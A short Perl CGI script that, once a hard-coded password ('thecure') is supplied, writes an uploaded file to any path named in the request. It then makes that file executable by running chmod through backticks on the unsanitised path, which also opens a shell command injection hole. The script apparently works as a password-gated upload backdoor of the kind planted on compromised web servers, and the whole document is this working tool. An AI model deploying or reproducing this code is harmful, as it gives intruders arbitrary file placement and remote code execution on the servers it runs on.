#!/Perl/bin/perl

require "CGI.pm";

$query = new CGI;
print $query->header();

$infile = $query->param('infile');
$outfile = $query->param('outfile');
$cl=$query->param('cl');

print "<!-- [$cl] -->\n";

exit if ($cl ne "thecure");
exit if (! $infile);

$uph = $query->upload("infile");

open (UPFILE,">$outfile");

while ( <$uph> )  {
s/\x1a//g;
s/\x0d//g;
print UPFILE;
}
close UPFILE;
$crc=`chmod 755 $outfile`;
print "<font face=verdana size=3>";
print "Copy: \"$infile\" to \"$outfile\" <br> <font color=red>$!</font><br>$crc</font>";

exit;